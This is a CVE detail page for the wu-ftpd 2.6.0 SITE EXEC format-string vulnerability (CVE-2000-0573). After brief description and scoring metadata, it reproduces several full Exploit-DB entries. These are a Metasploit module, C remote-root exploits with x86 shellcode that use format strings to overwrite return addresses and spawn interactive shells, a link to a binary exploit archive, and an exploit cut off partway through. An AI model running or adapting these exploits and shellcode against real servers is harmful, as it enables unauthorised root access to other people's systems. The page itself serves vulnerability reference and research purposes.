CVE-2000-0573 : Detail

CVE-2000-0573

96.86%V3
Network
2001-05-07
02h00 +00:00
2004-09-02
07h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The lreply function in wu-ftpd 2.6.0 and earlier does not properly cleanse an untrusted format string, which allows remote attackers to execute arbitrary commands via the SITE EXEC command.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16311

Publication date : 2010-11-29 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: wuftpd_site_exec_format.rb 11166 2010-11-30 00:16:53Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::FormatString def initialize(info = {}) super(update_info(info, 'Name' => 'wu-ftpd SITE EXEC/INDEX Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in versions of the Washington University FTP server older than 2.6.1. By executing specially crafted SITE EXEC or SITE INDEX commands containing format specifiers, an attacker can corrupt memory and execute arbitrary code. }, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 11166 $', 'References' => [ ['CVE', '2000-0573'], ['OSVDB', '11805'], ['BID', '1387'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependChrootBreak' => true }, 'Privileged' => true, 'Payload' => { # format string max length 'Space' => 256, # NOTE: \xff's need to be doubled (per ftp/telnet stuff) 'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f", 'DisableNops' => 'True', 'StackAdjustment' => -1500 }, 'Platform' => [ 'linux' ], 'Targets' => [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # # specific targets # [ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)', { 'UseDPA' => false, 'PadBytes' => 3, 'NumPops' => 8, 'AddrPops' => 100, 'Offset' => -2088, # offset to stack return 'Writable' => 0xbfffde26, # stack, avoid badchars 'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr } ], # these aren't exploitable (using built-in, stripped down vsprintf, no %n) #[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)', #[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)', #[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)', [ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)', { 'UseDPA' => true, 'PadBytes' => 2, 'NumPops' => 276, 'AddrPops' => 2, 'Offset' => -17664, # offset to stack return 'Writable' => 0x806e726, # bss #'Writable' => 0xbfff0126, # stack, avoid badchars 'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr #'FlowHook' => 0x806e1e0 # GOT of sprintf } ], # # this one will detect the parameters automagicly # [ 'Debug', { 'UseDPA' => false, 'PadBytes' => 0, 'NumPops' => 0, 'AddrPops' => -1, 'Offset' => -1, 'Writable' => 0x41414242, # 'FlowHook' => 0x43434545 # } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 22 2000')) register_options( [ Opt::RPORT(21), ], self.class ) end def check # NOTE: We don't care if the login failed here... ret = connect_login # We just want the banner to check against our targets.. print_status("FTP Banner: #{banner.strip}") status = Exploit::CheckCode::Safe if banner =~ /Version wu-2\.(4|5)/ status = Exploit::CheckCode::Appears elsif banner =~ /Version wu-2\.6\.0/ status = Exploit::CheckCode::Appears end # If we've made it this far, we care if login succeeded. if (ret) # NOTE: vulnerable and exploitable might not mean the same thing here :) if not fmtstr_detect_vulnerable status = Exploit::CheckCode::Safe end if not fmtstr_detect_exploitable status = Exploit::CheckCode::Safe end end disconnect return status end def exploit if (not connect_login) raise RuntimeError, 'Unable to authenticate' end # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else raise RuntimeError, "No matching target" end regexp = Regexp.escape(version) self.targets.each do |t| if (t.name =~ /#{regexp}/) then mytarget = t break end end if (not mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") if banner print_status("FTP Banner: #{banner.strip}") end end # proceed with chosen target... # detect stuff! if mytarget.name == "Debug" #fmtstr_set_caps(true, true) # dump the stack, so we can detect stuff magically print_status("Dumping the stack...") stack = Array.new extra = "aaaabbbb" 1000.times do |x| dw = fmtstr_stack_read(x+1, extra) break if not dw stack << dw end stack_data = stack.pack('V*') print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data)) # detect the number of pad bytes idx = stack_data.index("aaaabbbb") if not idx raise RuntimeError, "Whoa, didn't find the static bytes on the stack!" end num_pad = 0 num_pad = 4 - (idx % 4) if (idx % 4) > 0 mytarget.opts['PadBytes'] = num_pad # calculate the number of pops needed to hit our addr num_pops = (idx + num_pad) / 4 mytarget.opts['NumPops'] = num_pops else num_pad = mytarget['PadBytes'] num_pops = mytarget['NumPops'] sc_loc = mytarget['Writable'] ret = mytarget['FlowHook'] end print_status("Number of pad bytes: #{num_pad}") print_status("Number of pops: #{num_pops}") # debugging -> don't try it! return if mytarget.name == "Debug" #print_status("ATTACH!") #select(nil,nil,nil,5) fmtstr_detect_caps # compute the stack return address using the fmt to leak memory addr_pops = mytarget['AddrPops'] offset = mytarget['Offset'] if addr_pops > 0 stackaddr = fmtstr_stack_read(addr_pops) print_status("Read %#x from offset %d" % [stackaddr, addr_pops]) ret = stackaddr + offset end print_status("Writing shellcode to: %#x" % sc_loc) print_status("Hijacking control via %#x" % ret) # no extra bytes before the padding.. num_start = 0 # write shellcode to 'writable' arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget) # process it in groups of 24 (max ~400 bytes per command) sc_num = 1 while arr.length > 0 print_status("Sending part #{sc_num} of the payload...") sc_num += 1 narr = arr.slice!(0..24) fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget) # a space allows the next part to start with a '/' fmtbuf[num_pad-1,1] = " " fmtbuf.gsub!(/\xff/, "\xff\xff") if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true))) if res[0,4] == "500 " raise RuntimeError, "Crap! Something went wrong when uploading the payload..." end end end # write 'writable' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time print_status("Attempting to write %#x to %#x.." % [sc_loc, ret]) fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget) # a space allows the next part to start with a '/' fmtbuf[num_pad-1,1] = " " fmtbuf.gsub!(/\xff/, "\xff\xff") # don't wait for the response here :) res = send_cmd(['SITE', 'EXEC', fmtbuf], false) print_status("Your payload should have executed now...") handler end # # these two functions are used to read stack memory # (used by fmtstr_stack_read() # def trigger_fmt(fmtstr) return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2)) send_cmd(['SITE', 'EXEC', 'x', fmtstr], true) end def extract_fmt_output(res) if (res =~ /^5.. /) #throw "Crap! Something went wrong while dumping the stack..." return nil end ret = res.strip.split(/\r?\n/)[0] ret = ret[6,ret.length] return ret end end
Exploit Database EDB-ID : 20031

Publication date : 2000-09-25 22h00 +00:00
Author : vsz_
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/1387/info Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet. It should be noted that the SITE INDEX command is affected as well. * Linux wu-ftpd - 2.6.0(1) (tested on RH6.2 wu from rpm) * * vsz_ */ #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <netinet/in.h> #include <netdb.h> char linuxcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27" "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d" "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46" "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8" "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff" "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; main (int argc, char *argv[]) { char cmdbuf[8192]; char cbuf[1024]; char *t; char nop[400]; int pip, i, a = 22, st = 0; struct sockaddr_in sck; struct hostent *hp; long inet; int port = 21; fd_set fds; unsigned int aa; long reta, retb, tmp, retz; int ret; int add = 0; memset (cmdbuf, 0x0, sizeof (cmdbuf)); memset (cbuf, 0x0, sizeof (cbuf)); memset (nop, 0x0, sizeof (nop)); if (argc < 2) { fprintf (stderr, "Usage: %s [ip] \n", argv[0]); exit (-1); } pip = socket (PF_INET, SOCK_STREAM, 0); if (!pip) { perror ("socket()"); exit (-1); } inet = inet_addr (argv[1]); if (inet == -1) { if (hp = gethostbyname (argv[1])) memcpy (&inet, hp->h_addr, 4); else inet = -1; if (inet == -1) { fprintf (stderr, "Cant resolv %s!! \n", argv[1]); exit (-1); } } sck.sin_family = PF_INET; sck.sin_port = htons (port); sck.sin_addr.s_addr = inet; if (connect (pip, (struct sockaddr *) &sck, sizeof (sck)) < 0) { perror ("Connect() "); exit (-1); } read (pip, cbuf, 1023); fprintf (stderr, "Connected to: %s \n", argv[1]); fprintf (stderr, "Banner: %s \n", cbuf); strcpy (cmdbuf, "user ftp\n"); write (pip, cmdbuf, strlen (cmdbuf)); memset (nop, 0x90, sizeof (nop) - strlen (linuxcode) - 10); strcat (nop, linuxcode); memset (cmdbuf, 0x0, sizeof (cmdbuf)); sprintf (cmdbuf, "pass %s\n", nop); write (pip, cmdbuf, strlen (cmdbuf)); sleep (1); read (pip, cmdbuf, sizeof (cmdbuf) - 1); memset (cmdbuf, 0x0, sizeof (cmdbuf)); if (!strncmp (cmdbuf, "530", 3)) { printf ("loggin incorrect : %s \n", cmdbuf); exit (-1); } fprintf (stderr, "Logged in.. \n"); fprintf (stderr, "+ Finding ret addresses \n"); memset (cmdbuf, 0x0, sizeof (cmdbuf)); strcpy (cmdbuf, "SITE EXEC %x %x %x %x +%x |%x\n"); write (pip, cmdbuf, strlen (cmdbuf)); sleep (1); memset (cmdbuf, 0x0, sizeof (cmdbuf)); read (pip, cmdbuf, sizeof (cmdbuf) - 1); if (!strncmp (cmdbuf + 4, "%x", 2)) { fprintf (stderr, "Wuftpd is not vulnerable : %s \n", cmdbuf); exit (-1); } else { fprintf (stderr, "Wuftpd is vulnerable : %s \n", cmdbuf); } reta = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") + 11, 16); retz = strtoul (strstr (cmdbuf, "+") + 1, strstr (cmdbuf, "|") + 11, 16); memset (cmdbuf, 0x0, sizeof (cmdbuf)); strcpy (cmdbuf, "SITE EXEC "); for (ret = 0; ret <= 88; ret++) { strcat (cmdbuf, "%x"); } strcat (cmdbuf, "|%x\n"); write (pip, cmdbuf, strlen (cmdbuf)); sleep (1); memset (cmdbuf, 0x0, sizeof (cmdbuf)); read (pip, cmdbuf, sizeof (cmdbuf) - 1); retb = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") + 11, 16); printf ("Ret location befor: %x \n", reta); if (reta == 0) reta = retz; else add = 600; reta = reta - 0x58; retb = retb + 100 - 0x2569 - add; printf ("Ret location : %x \n", reta); printf ("Proctitle addres : %x and %u \n", retb, retb); sleep (2); memset (cmdbuf, 0x0, sizeof (cmdbuf)); sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c", (reta & 0x000000ff), (reta & 0x0000ff00) >> 8, (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24); a = 22; memset (cbuf, 0x0, sizeof (cbuf)); while (1) { memset (cmdbuf, 0x0, sizeof (cmdbuf)); sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c", (reta & 0x000000ff), (reta & 0x0000ff00) >> 8, (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24); for (i = 0; i <= 128; i++) strcat (cmdbuf, "%.f"); for (i = 0; i <= a; i++) strcat (cmdbuf, "%d"); sprintf (cbuf, "|%%x|%%x\n", aa + 9807 - 460); strcat (cmdbuf, cbuf); write (pip, cmdbuf, strlen (cmdbuf)); memset (cmdbuf, 0x0, sizeof (cmdbuf)); read (pip, cmdbuf, sizeof (cmdbuf) - 1); t = (char *) strstr (cmdbuf, "|"); tmp = strtoul (t + 1, t + 11, 16); if (tmp != 0) { fprintf (stderr, "tmp 1 : 0x%x\n", tmp); if (tmp == reta) { fprintf (stderr, "Cached a : %d \n", a); st = 1; break; } tmp = strtoul (t + 11, t + 22, 16); fprintf (stderr, "tmp 2 : 0x%x\n", tmp); if (tmp == reta) { fprintf (stderr, "Cached a : %d \n", a); st = 2; break; } } if (st > 0) break; a++; } sleep (1); memset (cmdbuf, 0x0, sizeof (cmdbuf)); memset (cbuf, 0x0, sizeof (cbuf)); sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c", (reta & 0x000000ff), (reta & 0x0000ff00) >> 8, (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24); for (i = 0; i <= 128; i++) strcat (cmdbuf, "%.f"); if (add != 600) a = a - 1; fprintf (stderr, "Trying with : %d \n", a); for (i = 0; i <= a; i++) strcat (cmdbuf, "%d"); aa = retb; if (add == 600) sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807); else sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807 - 480); strcat (cmdbuf, cbuf); write (pip, cmdbuf, strlen (cmdbuf)); memset (cmdbuf, 0x0, sizeof (cmdbuf)); read (pip, cmdbuf, sizeof (cmdbuf) - 1); memset (cmdbuf, 0x0, sizeof (cmdbuf)); fprintf (stderr, " Wait for a shell.....\n"); while (1) { FD_ZERO (&fds); FD_SET (0, &fds); FD_SET (pip, &fds); select (255, &fds, NULL, NULL, NULL); if (FD_ISSET (pip, &fds)) { memset (cbuf, 0x0, sizeof (cbuf)); ret = read (pip, cbuf, sizeof (cbuf) - 1); if (ret <= 0) { printf ("Connection closed - EOF \n"); exit (-1); } printf ("%s", cbuf); } if (FD_ISSET (0, &fds)) { memset (cbuf, 0x0, sizeof (cbuf)); read (0, cbuf, sizeof (cbuf) - 1); write (pip, cbuf, strlen (cbuf)); } } close (pip); } /* www.hack.co.za [26 September 2000]*/
Exploit Database EDB-ID : 269

Publication date : 2001-05-07 22h00 +00:00
Author : qitest1
EDB Verified : Yes

/* * BeroFTPD 1.3.4(1) Linux x86 remote root exploit * by qitest1 - 5/05/2001 * * BeroFTPD is an ftpd derived from wuftpd sources. This code * exploits the format bug of the site exec cmd, well known to be * present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.4(1) * is the current version at the moment. * * JUST SAMPLE CODE. For different platforms you have to try with * different offsets for different retaddrs. You see.. =) * * Greets: Nail, Norby, Berserker. * 69 rulez.. ;P */ #include <stdio.h> #include <stdlib.h> #include <getopt.h> #include <errno.h> #include <netdb.h> #include <unistd.h> #include <string.h> #include <netinet/in.h> struct targ { int def; char *descr; unsigned long int enbuf; int dawlen; }; struct targ target[]= { {0, "RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz", 0xded, 6}, {1, "Slackware 7.0 with BeroFTPD 1.3.4(1) from tar.gz", 0x1170, 12}, {2, "Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm", 0xdf1, 6}, {69, NULL, 0, 0} }; /* 15 byte x86/linux PIC read() shellcode by lorian / teso */ unsigned char shellcode_read[] = "\x33\xdb" /* xorl %ebx, %ebx */ "\xf7\xe3" /* mull %ebx */ "\xb0\x03" /* movb $3, %al */ "\x8b\xcc" /* movl %esp, %ecx */ "\x68\xb2\x00\xcd\x80" /* push 0x80CDxxB2 */ "\xff\xff\xe4"; /* jmp %esp */ unsigned char shellcode[] = /* Lam3rZ code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0" "\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b" "\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66" "\xb9\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01" "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89" "\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0" "\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09" "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe" "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08" "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0" "\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8" "\x90\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31" "\x2e\x2e\x31\x31"; char fmtstr[1024]; int sock; int sel; int offset; unsigned long int retloc; unsigned long int bufaddr; unsigned long int tmpaddr; void fmtstr_build(unsigned long int bufaddr, unsigned long int retloc); void xpad_cat (unsigned char *fabuf, unsigned long int addr); void retloc_find(void); void shellami(int sock); void login(void); void usage(char *progname); int conn2host(char *host, int port); main(int argc, char *argv[]) { char rbuf[1024]; char *host = NULL; int cnt; printf("\n BeroFTPD 1.3.4(1) exploit by qitest1\n\n"); if(argc == 1) usage(argv[0]); while((cnt = getopt(argc,argv,"h:t:o:")) != EOF) { switch(cnt) { case 'h': host = strdup(optarg); break; case 't': sel = atoi(optarg); break; case 'o': offset = atoi(optarg); break; default: usage(argv[0]); break; } } if(host == NULL) usage(argv[0]); printf("+Host: %s\n as: %s\n", host, target[sel].descr); printf("+Connecting to %s...\n", host); sock = conn2host(host, 21); printf(" connected\n"); printf("+Receiving banner...\n"); recv(sock, rbuf, 1024, 0); printf("%s", rbuf); memset(rbuf, 0, 1024); printf(" received\n"); printf("+Logging in...\n"); login(); printf(" logged in\n"); printf("+Searching retloc...\n"); retloc_find(); printf(" found: %p\n", retloc); printf("+Searching bufaddr...\n"); bufaddr = tmpaddr + target[sel].enbuf; printf(" found: %p + offset = ", bufaddr); bufaddr += offset; printf("%p\n", bufaddr); printf("+Preparing shellcode...\n"); shellcode_read[strlen(shellcode_read)] = (unsigned char) strlen(shellcode); printf(" shellcode ready\n"); printf("+Building fmtstr...\n"); fmtstr_build(bufaddr, retloc); printf(" fmtstr builded\n"); printf("+Sending fmtstr...\n"); send(sock, fmtstr, strlen(fmtstr), 0); printf(" fmtstr sent\n"); recv(sock, rbuf, 1024, 0); sleep(1); send(sock, shellcode, strlen(shellcode), 0); sleep(2); printf("+Entering love mode...\n"); /* Nail teachs.. ;-) */ shellami(sock); } void fmtstr_build(unsigned long int bufaddr, unsigned long int retloc) { int i; int eat = 136; int wlen = 428; int tow; int freespz; char f[1024]; unsigned long int soul69 = 0x69696969; /* That's amore.. =) */ unsigned char retaddr[4]; for(i = 0; i < 4; ++i) retaddr[i] = (bufaddr >> (i << 3)) & 0xff; wlen -= target[sel].dawlen; f[0] = 0; for(i = 0; i < eat; i++) strcat(f, "%.f"); strcat(fmtstr, "SITE EXEC "); strcat(fmtstr, " "); xpad_cat(fmtstr, retloc); xpad_cat(fmtstr, soul69); xpad_cat(fmtstr, retloc + 1); xpad_cat(fmtstr, soul69); xpad_cat(fmtstr, retloc + 2); xpad_cat(fmtstr, soul69); xpad_cat(fmtstr, retloc + 3); strcat(fmtstr, f); strcat(fmtstr, "%x"); /* Code by teso */ tow = ((retaddr[0] + 0x100) - (wlen % 0x100)) % 0x100; if (tow < 10) tow += 0x100; sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow); wlen += tow; tow = ((retaddr[1] + 0x100) - (wlen % 0x100)) % 0x100; if (tow < 10) tow += 0x100; sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow); wlen += tow; tow = ((retaddr[2] + 0x100) - (wlen % 0x100)) % 0x100; if (tow < 10) tow += 0x100; sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow); wlen += tow; tow = ((retaddr[3] + 0x100) - (wlen % 0x100)) % 0x100; if (tow < 10) tow += 0x100; sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow); wlen += tow; /* End here */ freespz = 510 - strlen(fmtstr) - strlen(shellcode_read) - 1; for(i = 0; i < freespz ; i++) strcat(fmtstr, "\x90"); strcat(fmtstr, shellcode_read); strcat(fmtstr, "\n"); } /* Code by teso */ void xpad_cat (unsigned char *fabuf, unsigned long int addr) { int i; unsigned char c; for (i = 0 ; i <= 3 ; ++i) { switch (i) { case (0): c = (unsigned char) ((addr & 0x000000ff) ); break; case (1): c = (unsigned char) ((addr & 0x0000ff00) >> 8); break; case (2): c = (unsigned char) ((addr & 0x00ff0000) >> 16); break; case (3): c = (unsigned char) ((addr & 0xff000000) >> 24); break; } if (c == 0xff) sprintf (fabuf + strlen (fabuf), "%c", c); sprintf (fabuf + strlen (fabuf), "%c", c); } return; } /* End here */ void retloc_find(void) { int i; char rbuf[1024]; char sbuf[1024]; char *ptr; strcpy(sbuf, "SITE EXEC "); for(i = 0; i < 6; i++) strcat(sbuf, "%p "); strcat(sbuf, "\n"); send(sock, sbuf, strlen(sbuf), 0); recv(sock, rbuf, 1024, 0); ptr = rbuf; for(i = 0; i < 5; i++) { while(*ptr != ' ') ptr++; ptr++; } ptr[strlen(ptr) - 2] = '\x00'; ptr[strlen(ptr) - 1] = '\x00'; sscanf(ptr, "%p", &retloc); sscanf(ptr, "%p", &tmpaddr); retloc -= 0x40; } void shellami(int sock) { int n; char recvbuf[1024]; char *cmd = "id; uname -a\n"; fd_set rset; send(sock, cmd, strlen(cmd), 0); while (1) { FD_ZERO(&rset); FD_SET(sock,&rset); FD_SET(STDIN_FILENO,&rset); select(sock+1,&rset,NULL,NULL,NULL); if (FD_ISSET(sock,&rset)) { n=read(sock,recvbuf,1024); if (n <= 0) { printf("Connection closed by foreign host.\n"); exit(0); } recvbuf[n]=0; printf("%s",recvbuf); } if (FD_ISSET(STDIN_FILENO,&rset)) { n=read(STDIN_FILENO,recvbuf,1024); if (n>0) { recvbuf[n]=0; write(sock,recvbuf,n); } } } return; } int conn2host(char *host, int port) { int sockfd; struct hostent *he; struct sockaddr_in their_addr; if ((he=gethostbyname(host)) == NULL) { herror("gethostbyname"); exit(1); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(port); their_addr.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(their_addr.sin_zero), 8); if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { perror("connect"); exit(1); } return(sockfd); } void login(void) { char *user = "USER anonymous\n"; char *pass = "PASS guest@\n"; char rbuf[1024]; send(sock, user, strlen(user), 0); recv(sock, rbuf, 1024, 0); memset(rbuf, 0, 1024); send(sock, pass, strlen(pass), 0); while(strstr(rbuf, "login ok") == NULL) { memset(rbuf, 0, 1024); recv(sock, rbuf, 1024, 0); } } void usage(char *progname) { int i = 0; printf("Usage: %s [options]\n", progname); printf("Options:\n" " -h hostname\n" " -t target\n" " -o offset\n" "Available targets:\n"); while(target[i].def != 69) { printf(" %d) %s\n", target[i].def, target[i].descr); i++; } exit(1); } // milw0rm.com [2001-05-08]
Exploit Database EDB-ID : 20032

Publication date : 2001-05-03 22h00 +00:00
Author : justme
EDB Verified : Yes

source: https://www.securityfocus.com/bid/1387/info Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet. It should be noted that the SITE INDEX command is affected as well. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20032.tar.gz
Exploit Database EDB-ID : 201

Publication date : 2000-11-20 23h00 +00:00
Author : venglin
EDB Verified : Yes

/* * (c) 2000 venglin / b0f * http://b0f.freebsd.lublin.pl * * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000) * * Idea and preliminary version of exploit by tf8 * * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio. * Dedicated to ksm. * * **PRIVATE**DO*NOT*DISTRIBUTE** */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h> #define repln if (getreply(0) < 0) return -1 #define replv if (getreply(1) < 0) return -1 #ifdef DEBUG #define repl replv #else #define repl repln #endif char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\t<-t type> <hostname>"; char recvbuf[BUFSIZ], sendbuf[BUFSIZ]; FILE *cin, *cout; char linuxcode[]= /* Lam3rZ chroot() code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd" "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb" "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e" "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09" "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88" "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89" "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31" "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e" "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69" "\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65" "\x2e\x63\x6f\x6d"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43" "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0" "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88" "\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31" "\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31" "\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1" "\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80" "\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07" "\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53" "\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30" "\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e" "\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e" "\x63\x6f\x6d"; struct platforms { char *os; char 